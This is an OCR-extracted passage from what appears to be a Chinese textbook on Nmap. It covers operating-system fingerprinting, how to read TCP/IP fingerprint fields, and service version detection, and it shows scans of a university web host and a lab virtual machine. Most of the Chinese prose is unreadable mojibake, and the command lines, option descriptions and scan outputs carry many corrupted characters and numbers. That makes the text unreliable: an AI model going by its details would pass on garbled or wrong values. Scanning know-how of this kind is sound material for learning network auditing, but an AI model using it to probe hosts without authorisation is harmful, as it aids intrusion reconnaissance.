XA VLA TERAE R G, FenlEEH -PO Ham 21> FHLN A] LI AR Z 0 E] .
BXA T -0 5 -A AT EER SR IHEEH

MBS R B WEEE 1, Nmap $RASEX] Joofs o VL B O 25 R FEFT#EM . 58 4-1
Hoa T BRI,

Fx 4-1 Nmap F1# BRRIER SR ATED

ik I A X
. HHig R [ 2AGHRZA open il closed i 117 SRR 1) EHLIATHRE &
--osscan-limit .
4 ke |
--0sscan-guess A AR IT B A p VS Al e R g 5 HY
--max-retries X HVE RS R Il 22k B, B R 5

4.2 PIERGEIRL T

TCARAIWT R SALERANE R G Ty i — T LA P 2
Q #®BINTFTE: AN HIR R AR IR, M2 o AR T R R T 2 M
R EIER SC, X SOR SR B AL E R GG B .
Q E£3hXFA%: BEPmEHMEREFEVRRER, T8 FEL—REXT X E(E B
N, B —SfF R, Ak Ok R [\ i fE BT, A AT BEAS Fm AR LA
YERGEISAY, X B n] DL o 1 H B I 28 72 7 40 Telnet, FTP %55 FHLZ B A9(H
B, WAl DR —S b O . IR BRI B S
Nmap H-AM# AKX A7 Nmap 119 F 37k HZ 5 15 MRS EER G fs
S, BAERGIR SN A FRETAY) % LA RTE8. o ANHF8 82 m—Jt —
¥, AT DIFE R S Bk i —FPHLH] . [ — AR A E R WA B C BFRIE, @
o M — BT AL R EAS AR (B ) kA F Hbx EHLAYmI N EE, X —id 8t
PERGIR ST . XEEIR RAYERET A T TCP. UDP. ICMP S48 AP iRl . X 2L
P Iiibit, AT LUK BE HARERE RGN 2251
Nmap HO0 B QU T B B a0 R/, & 0B, e, iFEE. 75
DAJ A — 24075, Filin TTL %, SXEeBREF I ESHER R R, (2 BT8R HAE OBtk
1, DMEUEEER RGN, NTERAREEREZRINZES . BN BRI E
s, IRATLL A CoRIEITTHREF IR, B ERRIIAFRMBIERS Y, DR EAE
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RGN, FRX L W R3] Nmap W) E R G A8 SRR .

25 PSR A $RAE R SEAE R WOX Le - 5 S LU e 2 MW R YR B, XS A FFIE 8%
PRA7 2] Nmap (9 #AE R G 48 SO b, XA SCPF 2 4 Nmap-os-dbo DA 78 24T 471 4l ) 5
5, Nmap H2KF H bR G0 A3 45 R -5 X200 FE P RO SCARgEA T EEXS, SR )5 15 HARERAE
FGHIRAL,

TE Nmap 35, A AR B A -O BEIR 5E sk H AR E R Genya 4. #ilan .

Nmap -F -0 <ip address>

XAFR RS, FREENNEE WL A 2 w2z =)

MiHE ERO ZFNV =Rl

K, RARAS T RKENER, BES —THK pEeE MR s R B [@e |

A » . P
FEOCHHARFRERR /N B 4-2 45 HY T —-1~4E Nmap 7 iR ilac: U ATHE - E
FEi1t. exe *32 Administrator oo 2,184 K EFDLAN
A— R 2 QB exe *3Z2 Administrator oo g2, 476 K EER0Q
’TTEI % Hﬂ-ﬁﬁ }{é ﬁ Eq % ﬁ ﬁ 'Zﬁ: ’ ‘_l_j‘ ﬁ;{m ﬂ{ﬁl:mgﬂ- I:B . QOProtect. exe. .. Adninistrator oo 3,300 E g
i SGCalendar. ex... Administrator oo 3,224 K Calend
b 1 S AE%‘ —‘I-FJIA.EE’ E Eﬁ}" . j:'l: 1 z SogouSoftware. ..  Administrator 00 27,100 K ¥°fFED
Nma’p EIE{TIX I H‘ 1] : ﬁ% A o splwowBd. exe Administrator a0 1,848 K Frint
StormPlayer. e...  Adninistrator 13 279,404 £ BRES
= - .. .
% jg; E{Jﬁ{’j}: ? %E %ﬂ% éx ﬂ q\ taskenz. exe Administrator aa ces K {1Et
E “E A EFI{E T ¥ taskhost. exe Administrator oo 2,338 £ YWindow
taskhost. exe Administrater aa 1,308 £ Window
~ % : L
ij Nmap EFI]‘Z\ %—%'ﬁj}TE‘g %ﬁlﬁﬂéﬁlmi ﬁ‘@o %’l taslmer. exe Adminiztrator 0D 3,108 E Window
T¥Flatform. ex... Adninistrator oo ce0 K BERQ0:
» % " A vmware—tray. e. .. Adninistrator oo 396 K Wware
Q;n\t - %%ﬁ{l];l :%‘UHI%E%% |§ﬁ1:jﬁ\ . m FII ﬁEE%% wdswfzafe exe. .. Adninistrator oo B, 044 K 380%25
winlogon. exe SYSTEM oo TEd K Window| .
;[t-% % k * Il:.b =] o 5 YWIFWOED. EXE *32 Administrator 0o 42 48 £ Micros 1
% E Eﬁ ﬁ-‘ j:ﬂ 0 % &I\ ’ l_i et ﬁﬁl\ E@%ﬁﬁm {ﬁﬁ Toulullesktop. ...  Administrator aa 151, 204 & {ITEE
TouluMediaCen. .. Administrator oo 4 424 ¥ {ELE
r é-. bey T \A- ﬁﬁj] %Eﬁm % I}% youlipage. exe. .. Administrator oo o EEr KEO{Etm
TERMNEZHFER . XFERIE MR XEG . B dpage-cxe.. | Mninistrator |00 | 2,552 | Y
Tenmap. exe ¥ inistrator , map £ =

THEFRG R, A1 B8 B R4 0912
L4 TPS/IDS F7 &3 .

T Ah— A AR B AR, BRI R
HTRETEA TR, X AP BEARSE, Ffng B 42 fExS BARIE e R G A I
HARBA o RE R X TR B — B, R SUGELEREE N S
1T A3 TR S BT, EARIE B R T B EZER S RATI B 1T Mo A
WAL TEAPHRERER AR, AR EOGER, WA R—ET B YR,

] STERA A PRIEHE ) FFHE E)

Vs 82 CPU EEEE 20%  YERE 63%

4.3 TWAERFIELHMIEN T T H

Nmap FFAUAUE B EZ VTR, B RFERT DR R 2838 E B — A Flgs . F XX
TR, M a] LI KRErREAG 77, 2% FRERBRIER SO EEw X 44
fb o T E— N FRPATUTF .

Nmap --O <ip subnet>

sl T DAE AR BB
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Nmap -sV -F --fuzzy --osscan-guess B ip

SR A B8 1 Nmap #ERR R DI B FR BE R G0 2 LU B R MERY, 31X HLAY -osscan-guess J&
Nmap B 55N GELEIH , FF M A BT HArRYILRCER/E R gk B, Bl skiX H g — &5
s, (HRX WAl e — M REHRBGERPEE, AR —T, WREBEMHXFWL
AT LA TR] B kb 2 B0 B AR MBS TR ARLLZ IHI . BB EN RS, HHMEME R T 280
PRVERSE, Ml n] UpRE IR H AR EARLEAR L RN H . XK T BGE A B E
FHARGINTE] . VENRGELEFZ, UARAE R ZH A FR Ge i [a)

F5C F, Nmap AR AGZ— AHHIE BIrAERIERS, HEBKERW. A K
Nmap Joik# & B AR R EAE RS, ZEXMEOLT, Nmap 2%t HAR R SEH TCP/IP $54L
X, HAEHRENRGERBP AT HETE . Nmap AL IRANT AT LA AS X AN 8 SO0 Fl B AL 56 UE
Iz RGBSR, DIFE B Nmap R BAE R S48 SUHE . AT 8 H Nmap X} www.tstc.
edu.cn AT, DIARBOZ EVLEAERGEA,

Nmap -0 -F —--fuzzy --osscan-guess www.tstc.edu.cn
XA AR AN E 4-3 s,

Starting Nmap 7.12 ( https://nmap.org ) at 2016-09-02 13:55 2D1GieEx2&x2?
Nmap scan report for www.tstc.edu.cn (211.81.200.8)

Host is up (8.8863s latency).

rONS record for 211.81.200.8: wlx.tstc.edu.cn

Not shown: 97 closed ports

PORT STATE SERVICE

80/tcp open http

111/tcp open rpcbind

BOO9/tcp open ajpl3

Aggressive 05 puesses: Sony Bravia We@8-, W800-, or WI988-series TV (96%),
Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux
2.6.17) (94%), HP P26@@ G3 NAS device (94%), Android 4.3 (93%),

CyanogenMod 11 (Android 4.4.4) (93%), Android 4.1.1 (93%), Android 4.1
(Linux 3.4) (93%), Android 4 (93%)

No exact 0S matches for host (If you know what 05 is running on it, see
https://nmap.org/submit/ ).

TCP/IP fingerprint:

0S:SCAN(V=7 .12%E=4%D=9/2%0T=80%CT=7%CU=31296%PV=N%DS=4%DC=I1%G=Y%TM=57C9147B
0S:%P=1686-pc-windows-windows )SEQ(SP=102%G(D=1%ISR=10C%TI=2%CI=Z%I1=1%T5=7)
05:0PS(01=M5B45T11%02=M5B45T11%03=M5B4NNT11%04=M5B45T11%05=M5B45T11%06=M5B4
0S:ST1I1)YWIN(W1=2DAG%W2=2DAOK3=2DAGKWA =2DAGKS=2DAGXWE=2DAB ) ECN(R=YXDF=Y%T=
0S5 : 40%H=3354%0=M5B4ANNSECC=Y%0Q=)T1 (R=YRDF =YX T=40%5=0%A=S+¥F=AS%¥RD=8%0=)T2(R=
0S:N)T3(R=N)T4(R=YRDF=YRT=40%W=0%5=A%A=7%F=R%0=%RD=0%0=) TS5 (R=YXDF=Y%T=40%W=
05 : B%5=7%A=5+%F =AR®O=%RD=0%0=) T6 ( R=YRDF =Y% T =40%W=0%5=A%A=7%F =R%0=%RD=0%Q=) T
0S:7(R=YXDF=YXT=40%=0%5=7%A=5+%F=AR%0=%RD=0%0= U1 (R=YHDF=N%T=40%IPL=164%UN
0S:=0%RIPL=GXRID=GRRIPCK=G%RUCK=G%RUD=G) IE(R=Y%DFI=N%T=40%CD=5)

Network Distance: 4 hops

05 detection performed. Please report any incorrect results at https://
nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 12.87 seconds
|

Bl 4-3  FEXT HARZEATERAE R Gu 2 BRI 7 A2 () R GEAR AL
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TfERX A, FFEAEI R RENHERE, (20 ARG T —1 TCP/IP
fingerprint A (B2 FEIH OS [ ETA NE) -

SCAN (V=7.12%E=4%D=9/2%0T=80%CT=7%CU=31290%PV=N%DS=4%DC=1%G=Y%TM=57C9147B
P=1686-pc-windows-windows)

SEQ (SP=102%GCD=1%ISR=10CSTI=2%CI=2%11I=1%TS=7)

OPS (01=M5B4ST11%02=M5B4ST11%03=M5B4NNT11%04=M5B45ST11%05=M5B45T11%06=M5B4 ST11)
WIN (W1=2DA0SW2=2DA0SW3=2DA0%SW4=2DA0SWS=2DA0SW6=2DA0)

ECN (R=Y%DF=Y%T= 40%W=3354%0=M5B4NNS%CC=Y%Q=)

Tl (R=Y%DF=Y%$T=40%55S=0%A=5+%F=A5%RD=0%Q=)

T2 (R= N)

T3 (R=N)

T4 (R=YSDF=Y$T=40%W=0%S=A%A=2%F=R%0=%RD=0%Q0=)

T5 (R=Y%DF=Y%T=40%W= 0%5=Z%A=S+%F=AR%0=%RD=0%Q=)

T6 (R=YSDF=Y3$T=405W=0%5=A%A=Z25F=R%50=%RD=0%Q=)

T7 (R=Y%DF=Y%T=40%W=0%S=2%A=S+%F=AR%0=%RD=0%0=)

Ul (R=Y%DF=N%T=40%IPL=164%UN =0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)
IE(R=YSDFI=N%T=40%CD=S)

T EEA A A — T XN R S

B, XANEEIFE-RBWHNESEER, ME2ZREMBHEER, XEFHAHE SCAN,
SEQ. OPS. WIN, ECN. Tl ~ T7. Ul #lIE.

F— IR AWM G R G % B8 Fafs, wilin T1 Afr4s 82 (R=Y%DF=Y%T=4
0%S=0%A=S+%F=AS%RD=0%Q=). AN A[GE N2, #1401 RD=0, K/~ RD B4Rt
J= 0, HIFFEAEIAMNALRHNE. WAL R DT EICEEIERGRREE L, XHEARES
RO IR PE 2% H#EATULHE . 8 T2(R=N) H1 R=N FrmiX A B A (AR 2558

T R XA SR 2 ek b

SCAN (V=7.12%E=4%D=9/2%0T=80%CT=7%CU=31290%PV=N%DS=4%DC=I1%G=Y5TM=57C9147B
P=i686-pc-windows-windows)

X—ATFRR YRS T A Nmap ©iAs DL — S8 Ho A A AE S A HBAE B . il .
V=7.12 /= 40 Nmap BIA R 7.12.

D=9/2 31 T 509 H 1.

OT=80%CT=7 8 i} T 7EF5 LR A F2 ih i Y TCP %5 H

CU=31290 45 i} T I8 8GR R fE A UDP %5 H .

PV=N f5ili T B#x IP Huht 248 T FAA Hidik .

DS=4 5111 T M\ Nmap Fr#E EHLEN H AR EHLAIBE RS BkEL

G=Y {5l T XK AP RBLF, ] LI#EA2% iNSEcure. Org.

TM=57C9147B #5 ! T 34 FIris#E A A]

P=i686-pc-windows-windows 5} T Nmap FT7E FHLIEAE R G A,
THEEZE— T SEQ. OPS. WIN Al T1 iX 2677, bzt B2 o] HAx L TCP b
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M & 26— HEH T R E TS 2

SEQ MM A5 RN .

SEQ (SP=102%GCD=1%ISR=10C&%TI=2%CI=2%11I=1%TS=7)

SP=102 41 T TCP W#IERF51'5 (ISN),

GCD=1 4} T TCP A3 & .

ISR=10C 7~ ISN 7%,

TI=Z %517 SEQ &t [l By Edi o 1P LAY ID {6, XHER Z Fmrfl 1P Bt
) id FEARRE R 0.

=14 T ICMP £RE B E R H Y TP S 1D {H.

TS =7 451 TR B A TCP B0 iy it e B 15 B

OPS A4S R AT

OPS (01=M5B4ST11%02=M5B4S5T11%03=M5B4NNT11%04=M5B45T11%05=M5B45T11%06=M5B4 ST11)

O1 = M5B4 451 T TCP $dE40 5 Uk B4 % Hi i e R BSR4 B

ST11 %45 T ACK A E(E B AEE L A [ BN 2 .

N Fon A2 BAE

WO T8 H T #H 1R/

02 =M5B4ST11INWO0, O3 =M5B4NNTI1INWO0, 04=M5B4ST11, O5=M5B4ST11,
06=M5B4 ST11 iX 5 W& X5 01 HH.

WIN ML Z5 8- 40T

WIN(W1=2DA0SWZ2=2DA0%W3=2DA0%W4=2DA0%SW5=2DA0%We=2DA0)

XML 1T 6 MNREEHR EHE AR ER AL T 1R

W1=2DA0

W2=2DA0

W3=2DA0

W4=2DA0

W5=2DA0

W6=2DA0

BEAIN—1TUT,

ECN (R=Y5DEF=Y5T=40%5W=335450=M5B4ANNSSCC=Y35Q=)

R =Y F/R BAn2 A XA THAT T BN,

DF=Y %/~ 1P BRI Bebtn S e B E .

T =40 25t 1 RN A S 6L 1P Ay TT1H.



56 » EHZIR—Nmap NELZEEIHIARBW

W = 3354 %7/~ TCP #IIRLE H B K/ME B o

O = M5B4NNS 27~ TCP £ {5 B

CC=Y 4 T BAnmPZEEHaE S, Y FnX B HFRSCRF ECN,

THEFENEE— T H I EIER 6 4~ TCP F AR m [ o

55— TCP #HEF BRI INT .

Tl (R=Y%DF=Y%T=40%5S5=0%A=5+%F=A5%RD=0%Q=)

Nmap &% K5 N REFE—NEE T DF AN RS HEIRE . XA BRI E O
KN 128, BINANE .

T2 (R= N)

Nmap &% )58 = AREHE— M E T FIN, URG. PSH PIK SYN bRl dafs, X4
Banmn KNk 256, FINAIT .

T3 (R = N)

Nmap % 2% B8 UM EE R —MZE T ACK 79 TCP BdEfu, X MuRFEiZE T DF
£, K/NR 1024, BRI,

T4 (R=YSDF=Y%$T=40%W=0%S=A%A=2%F=R%0=%RD=0%0Q0=) ,

Nmap &% 5 TAEREHE— D5 H RN 31 337 R, [BINATT.

TS5 (R=Y%DF=Y%T=40%5W=0%S=2%A=5+%F=AR%0=%RD=0%Q=)

Nmap %35 156575500 A DU SR AL oA L, HO2 % HoR/IN R 32 768, 1 HiX
AR AL o A s 1, [N AN

T6 (R=YSDF=Y%$T=405%5W=0%5S=A%A=Z25%F=R%0=%RD=0%0Q=)

Nmap & %ML EHEAE E T FIN, URG Ml PSH bR, X MREFRIRE RIE— %
HIRsE T, % 0 R/ANR 65 535, RBINUTT,

T7 (R=YSDF=Y$T=40%5W=0%S=2%A=5+%F=AR%$0=%RD=0%Q=)

Ul W4 R 2R UDP i RN R MR-, X MEET IR/ 22 300 14> C 4T,
IR ANR .

Ul (R=Y%DF=N%T=40%IPL=164%UN =0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)

IE #REH LT ICMP WX, B RENH R

TE (R=Y$SDFI=N%T=40%CD=5)

EWE R T BERGRBH T, XBHRATRESA — BN, A A fE R 35X
BERYE?

UAERAN PR B AT E PRI, RIZ8 R Al REAEAEAS P B 5 B9 ASHAL . B4R . AEAE
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W kG545, Al LIXX SR8 MR E R G 8UE Bt T 3, SRIFUCEIRIRIE R i s
S5 BE R, A ER, AT GFH T AT 8, BN, Frfe i i3580 §
W1 50 kS 4, WHSERXERSAEMHS, GURE TS m e HEOL, BT
LA Nmap #1778, WIFHIEREEHEZR A GEE—EH AR

AEF, BACH TR L2 R EFRIERS, (HEANALEMARN T EITEE
A E IHREE R S, I Windows 2000, @i Nmap AIHEEIE R GRIMIThfE, BEnl LI
T 57 24 . 2 BRI SE R 48

N ESW 5T B ERAE R S 48 801 B 3238 %) http://iINSEcure.org/Nmap/submit/, ti57E F—/Mi
A AR N BB 2 ot 2 Y BRI IR R AS R 2515 B

4.4 AT 2 Bl 55 A B

TEXT— DB — & AR5 2% (140 192.168.153.131) 47 %4 HE KRR, EH—4
o 28 45 BN DL AT PR FE B A %2 2 1) telnet IR 55, X IR IUAE FH B b 22 4 ) SSH IR 55 kR AU F
telnet, HFELFEEUE 4-4 iR,

HEE) ITRO) EEE) #EENH)
Bz | 192168.153.131 - | BE - | [Em| |

#Z: | nmap 192.168.153.131

i_m B Nmapi | g0/E4] | A3t | TH8EE | 55

e 4 4] Amap 192.168,153.131 v = [
1] bogon (192

S
Starting Nmap 7.3@ ( https://nmap.org ) at 2016-11-14 12:43 2DL+E%2& [
+ 233

Mmap scan report for bogon (192.168.1532.131) I
Host is up (©.00008868s latency).
Not shown: 988 closed ports

PORT STATE SERVICE ]

I 23/tcp open telnet I

42/ tcp open nameserver
53/tcp open domain
Baftcp open http

119/tcp open nntp

135/tcp open msrpc
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
563/tcp open snews
1825/tcp open MNFS5-eor-IIS
1826/tcp open LSA-or-nterm

1829/tcp open ms-lsa
1838/tcp open dadl

1831/tcp open iad?

1835/tcp open multidropper
3372/tcp open msdic I
3389/tcp open ms-wbt-server

< II' 5 MAC Address: @@:8C:79:98:DF:C3 (VMware) | 4

- Nmap done: 1 IP address (1 host u scanned in 2.48 seconds -
v =2 ]! pdome: 1 IP ¢ P)

K 4-4 FEHWRG LKW T AEER telnet 55
HRE TR AR, 52 NE 4-5 P 45 R
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HiREa) RO RREE) SRENH)
Eff: 192.168.153.131 |Z| EE | Izl lmE] (=
= | nmap 192,168.152.131
L= ] &= Nmap$itt | @0/t | st | e | s
SfEEH « i |nmap 152.168.153.131 =] & [ma
"] bogon (182 Starting Mmap 7.3 ( https:/frmap.org ) at 2006-11-14 12:58 IDLa+Ex2E
13y
Mmap s=can report for bogon (192 168_153.131}) —
Host is up (@.8817s Latency).
Mot shown: SE@ closed ports
FORT STATE SERVICE
22[/tcp open  ssh
42ftcp open  nameserver
53/tcp open  domain
#@ftcp open hittp
119ftcp open  nntp
135Fftcp  open  msrpo
139ftcp open netbios-ssn
443 ftcp open  hitps E
445ftcp  open  microsofi-ds
Se3ftcp open snews
1025/ tcp open  WFS-or-IIS
186Step open  LSA-or-ntern
1929/tcp open ms-lsa
1838/tcp open  Ladl
1831/tcp open  iadl
1925/ tcp open multidropper
33T2ftcp open  msdic
33B9/tcp open  ms-wbt-server
MAC Aodress: @@:8C:20:98:DF: 23 (VHware)
pl L k Nmap cone: 1 IP address (1 host up) scanned in 2.5% zeconds L
[ P -

K 4-5 HRREZELEENELER SSH RS

BRSBTS T J, KL 2AIN ] telnet B T SSH.

A, O R R REA A B — By, TR PR, ARBZM A E G KR
telnet IR 554678 % 21 ¥ 1 b, (EEHEEAEGME—1 SSH MRFr—HE, W 4-6 Fran. i
0258 PR 5 X — UG B R A B 2 B 2 RS K

.
- Fenmap
il -
| 9ty TRO BEE) S
Bff | 192168133131 =] == | = B
&% nmap -5V [192,168.153.131 |
sl B | | ~mapms |wosn | w0t | znes| oe
s 4 T |nmap ~s¥ 192.168.153.131 B z [lﬂﬂ]
LY bogen (192
S5tarting Mmap 7.3 ( https://nmap.org ) at 2016-11-14 12:52 7DI0=é=piz77
Mmap =can report for bogon (1931 _168.153.131)
Hest iz up (€.99€956: latency).
Net shown: 988 clased parts
PORT STATE SERVICE VERSION
P —ro T S
22/tcp open  telnet Microsoft Windows 2880 telnetd
Al/tep  open  wing Mitrozoft Window: Wines
53/tcp  open domaln Microsoft DS
Bdstcp open hittp Microsoft ITS httpd 5.8
119/tcp open nntp Microsoft NNTF Service 5.80.8934
135/tcp open msrpc Microsoft Windows RPC
139/tep open netbios-ssn Microsoft Windows netbios-ssn
43/tep open  https?
445/ tcp open microsoft-ds Microsoft Windows 2008 microsoft-ds
563/tep  opEn  SNeWs?
1025 /tcp open  msrpc Microsoft Windows RPC
1826/tCp open mSrpo Mitrosoft Windows RPC
1629/tcp open msErpo Microsoft Windows RPC
1838/ tcp open  msrpc MLcrosoft Windows RPC
1831 ftep apen  Atrpe Mi¢razaft Windows RPC
1935/tcp open  mrpo Microsoft Windows RPC
3372/tcp open msdic Microsoft Distributed Transaction Coordinator
3389/tcp open  topwrapped I
HAC Address: €0:00:I19:9€:0F:C3 (Viware)
Servies Info: Host: adserver; 052! Windows, Windows 2888; CPE: epa:/f i
pimloroseftiwindows, cpe:foimlcrosoft windows_2eeo
Service detection ptrfor-ed. Please I‘t[‘.‘bi"t any incorrect reszults at I'Ittp!-:.f.."
nmap. org/submit) .
Nmap done: 1 IP address (1 host up) scanned In 75.33 seconds
0 in ] b
% IJ

Kl 4-6  Zad ik 55 Z e Rl 2 5y B AR R 55
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YH—R G B ARG R, e 1 T SR L

Al & N A2 Nmap Hij 524 H PR o8 AN R & =067

X 2R B PR O B B SE B R BCR B AR BAR YIRS #ATERE, AR —
ARFRNER R s T 55 =04 BIEX BasiiRs5s 47 7 3.

HAT 2 Nmap ¥A #4755 R0 I AH S ERAE A8 28] 1 A28 0IE? —Mig il &, FTP ik
55 rmiaAT4E 21 Y1), HTTP RSN 80 ¥ 1, 3 Uik £ T HR 2 A Hs H o #E3E4T Nmap
viig 1448 I, Nmap - 8&A #E47 RS IRA, TR O 578 B C W H Ak 55 R 800 2 b 3k 1T
B, RERMER, —BERT, X000 B RS Z2XAS, wEtRZdl, XFRIEF
Mk RREIRE SR, FFAESEE Bim O rsfriikss, HE—BAE T KA @ /)
iy 1 AT [ 2 AR S5 o #E Nmap 158 1] — M BEVL4Y, Bl B84 JF &8s 1 25/tcp. 80/tcp Al 53/
udp Z LY. AL K2 2200 >3 45 IR 95 B9 Nmap-services Z0#5 /%, Nmap A] LA §iz & W
o 11 A] GEXT LT HREIR S5 2% (SMTP), Web filR954% (HTTP) 4 IRk55 2% (DNS). XFl
A B IE A —F 5L b, 4 RZEHE TCP 3% 11 25 Wl i~ 4P R B mp IR 45 2% . A
4-7 25 T Nmap-services ZUH5 2 1 AOTELIME B

3

E
1

-----

(1]
{ = |, =7 | et
|j EEFE'J e 'lu “|| AN 2= e D "‘f‘i % ; B Em

EU# 2E HORFEETE EmA
FOF

= «]
by
=
g
x
b 1
R
>
F
iy
I
i
[
!-"h

_____

E2 FIK 25 BA
RN ENECNES SNEF SRR EXRY SRR XRY- RN ANES: DRSNS T & O P IR0 E I UEME LG [N VAR
N |

ca-2 B0B65/tep 0. 000000 ¥ Channel Access 2
ca—2 5065/udp 0, 000000 # Chammel Access 2 |
stanag-5066 5066/ /tcp 0. 000076 # STANAG-50686—-SUEBNET-INTF

stanag—5066 5066/ udp 0. 000000 # STANAG-5066-SUENET-INTF

authentx 5067/tcp 0. 000000 # Authentx Service

authentx 5067 /udp 0. 000000 # Authentx Service |
bitforestsrvi068/tcp 0, 000000 # Bitforest Data Service [

unknown 5068/ udp 0. 000330

i—net-2000-npr 5069/tcp 0. 000000 # I/Net Z2000-NPR
i-net-2000-npr 5069/ udp 0. 000330 # I/Net 2000-NPR
vtsas 5070/ /tecp 0. 000076 # VersaTrans Server Agent Service
visas 5070/ /udp 0. 000000 # VersaTrans Server Agent Service
powerschool 5071/ /tcp 0. 000000

powerschool 5071 /udp 0. 000330 # FPowerSchool

el wrm BT S mae A TATATRTaTA B famrrdkles smmy Tom famerdled o

100% (=) B ® .

[ 4-7 Nmap-services FE 2 F RS B
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SR, RAREE 702 — A AR E XL ) — AW A G 5820 DA — 28N A T s B
FiE T iRS5 . BMf Nmap 2XTHY, RiZiE1T RS HHASLZE SMTP, HTTP il DNS, ABuiA
R ZMER .. AAFRBEEF P ML 2L (B2 MR MG 5 5, R
SEAR B IEAE B T TAT A MR R A4 R 9545 A S ENTRIRAS . — KGR AT RRA S5 T IR 55-2%
A2 wIFEERAE T E XA B, MRS & BT AR VRIRIGZAE B o

4.5 nfffdi Bl Nmap i#E170k 55 & B

WAl AT BEAG B B A 95 A BRWE? Nmap $24E 1 BAF 8 09 ik 95 M NRAS R I 263050, v 3l 1 R
PN -sV AT IR S5 FNRRASKGI o AR S5 0 RRAS K A B 22 356000

B Tm e, BOAEOL R SYN 4.

HR SRS EA, ZEFREROC, B2LREFIME, FiIARS .

BT RAR R, RERERIC, JERREIHRSUEE, ahre R BI A

TE R ILTF A TCP Y 5% UDP % 0 2Z )5, k55 & BURE 3 b 2 % 33 B vy 11 R4 7 400,
LA 78 ivm 1 ia AT B AR 55 . WRFEST R R UDP 3w 1 54398 Jo s 3 %2 1% 1 J2& open
b S filtered, ABAZum I AREFBEARIC N openlfiltered, ARS8 A A IX B3 111 5| 2 —A>
Mg N ( BUASR B X s A — ), WL, SEHIRZS A opens openlfiltered TCP ¥ [
FHRIFE B9 )7 20 FF o Nmap-service-probes £ 740 75 5 1A 7] Aie 55 59 R0 e SCRA A R 50 g
N AIPEAE2EIA 0 RRASKE IR P 20 8 45 SR -5 Nmap-service-probes 2045 2 1 (I N &7 1L
B, R SH AR RE W UCE T, Bn] LAaiA Hirvs H st 2RSS . 24 Nmap A
AR 55 W s iy, AEAS BEAE B4 e rh R BN T e, BT T ER—/NFEE Y fingerprint F#1—- URL
TIELRIERT, GNARHA SCRE s DB T A kS, AlLAEW M 8hies B A3, ks A
% it o

A] UGS AT G004 T 042 i i A< G

-sV (R £ )

FITFRRASERM . ] DAFH -A BT TR EAE R S48 F IR 55 & FH .

--allports (A4 KR AR HEBR (R 1 )

W H, Nmap TEHATIRATRI B A% Hinby 28w D2 E 736, midaspkad — Mg,
Bl 40 H 5 04 9100 B TCP % H o NSRS X A3 H #4739, 0 H AR e 2 — B FTEIL
s, XS TTENDLSLA T RE SR T A mOBHE ARTT BN HE ok o W Rw S A BE /3%, ] LA
F --allports 34 BT A 19 % [ o

--version-intensity <intensity> (iZBRRAFFHEE)

YT IRA T4 (-sV) BY, Nmap &3E— RIEMHSC, B HOGERHIE T — M 1389 Z
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) MR . X B A i B /K- 150 BH T N (S PR SR I 4 5 . BUE B R, R 558G ] BB R AT
o SR, RuREERETE 20, SR BEEMTE 0 F1 9 Z[E]. BRIAE 7.

--version-light (¥sTHEZEERIERX )

--version-light H:SZg{AH > T --version-intensity 2, XM iZm BB G RATFERE R T
W2, Ak X AR O Al 55 04 T 3 sl O Y Lot /h— 2

--version-all (ZiXEEN )

--version-all HSEHLAH 24T version-intensity 9, FRIEXTEEAN U 11 223 BT A FRIMH S,

--version-trace (ERERRRAFEESD)

2ORE 228 Nmap F7EJ i 6 TIEFEHA T B M B TFEAM G B . BRIRH --packet-trace fif
BEPE RN T,

-sR (RPC 134##)

XF TR 20 0 1T IR . BXTET A #OL BT A TCP/UDP ¥ B $h4 T
SunRPC #/% NULL 14, & B 127 RPC 4w, @R, A LI e 2227 Fik
A5,

XIFFiz e fi AT rp 22 B ARE?  E—EXIFE 483 7 HARM IP, T2,
XA BRI Ss, ZRIERZ M izt iR 55 A A7 e T B

FHERIT

Starting Nmap 7.30 ( https://nmap.org )

Nmap scan report for bogon (192.168.153.131)
Host is up (0.00018s latency).

Not shown: 998 closed ports

PORT STATE SERVICE VERSTION
21/tcp open ftp Microsoft ftpd 5.0
80/tcp open http PMSoftware Simple WebServer 2.2

MAC Address: 00:0C:29:90:DF:C3 (VMware)Device type: general purposeRunning:
Microsoft Windows 7

Nmap done: 1 IP address (1 host up) scanned in 54.10 seconds

XIS FAREZ T B s EHL EJE IR L% 5 PMSoftware Simple WebServer 2.2, %
4138 Windows 7 3£ A 1% Windows XP F1 Windows 2003 AR FEFA7E K B M, 1H X — K
PMSoftware Simple WebServer #{F_E7F7E74 6] 5. Web 55 w12 5 o X i ) el o

BAEXNITF A2 m) Hhr &2 — B HTTP 5K, M5 5E B bR FHRR P 69 28 v X i
B AT DA 2 HAR L. (H2 X —Y) X Anfar L BLHE 7

XA A A BRI 1E, BEIMRA R RS 12 B T4
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M

AFEYR TN EE, —PIEEREABAR, H—TMRF KHA K. LhrTAE
H, XA IEE A AR, EEERNRE, XMW 100% Wi, TTHZ
AMEH -sV AR, /23R T Bk iE BIRZMRE T oarEn. Hib—a Zatse
Nmap ) TAEREE, 750 Nmap X300 KA THBRHR “SFHITES”



CHAPTER

Bl

Nmap BB AIEETE—

Zenmap

HH R M ST AERE, RN ATREC &0 1T EUBALAIERE. AR PR T &%
B¥A B E, w2170 Nmap fa@ s, BEHE R, MEIEALT Zenmap PATAZ K
WES LT, SROENEW., AFELH T Zenmap FIAHEAET X, WA,

Q 53 Zenmap W=,

Q Zenmap HMAFIEH,

Q 7E Zenmap AT ARSI T I

Q e ¥R Zenmap AL E .

Q W[ B Zenmap LR .

5.1 Zenmap 71

Nmap 4~ B 3L 7 ap 247 NEE, X— iR Z 10 T B ACBAE R P B 47
A2, Zenmap B H BEH KLY FE T Nmap B FIHEA . Zenmap J2&—N 1] DAN FH7E L FhF-
&b, mEAPEREERA A LT B Nmap BIJEALA 1. 5 Nmap AR, Zenmap 7= B /2 F
BCEAS Y, Fr A 78 Nmap 217 0 Al DUSC B #4E, #R AT LIAE Zenmap X8, HIEHE —T
Zenmap FEHALRYRFIR DI
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Q Zenmap $#&Ht T —~ i) T a2 BIE I e FIH] Zenmap, #] LIH.Zh{ A1 Nmap

o

Q O E X, Zenmap HALE T —20H WL AT RIECE X . 7 IMETT LIRTE B
C AR, DUs s EARERIESL, o] LAJCA L B B8 X S

Q 4 tabs T, F|FH Zenmap ALK (tabs) I A PATE [E]l— B L2 4T FL iR 244

Q RAFHMEER . [ Zenmap A DRI EE R B — 30 fFrh, DMELLE A

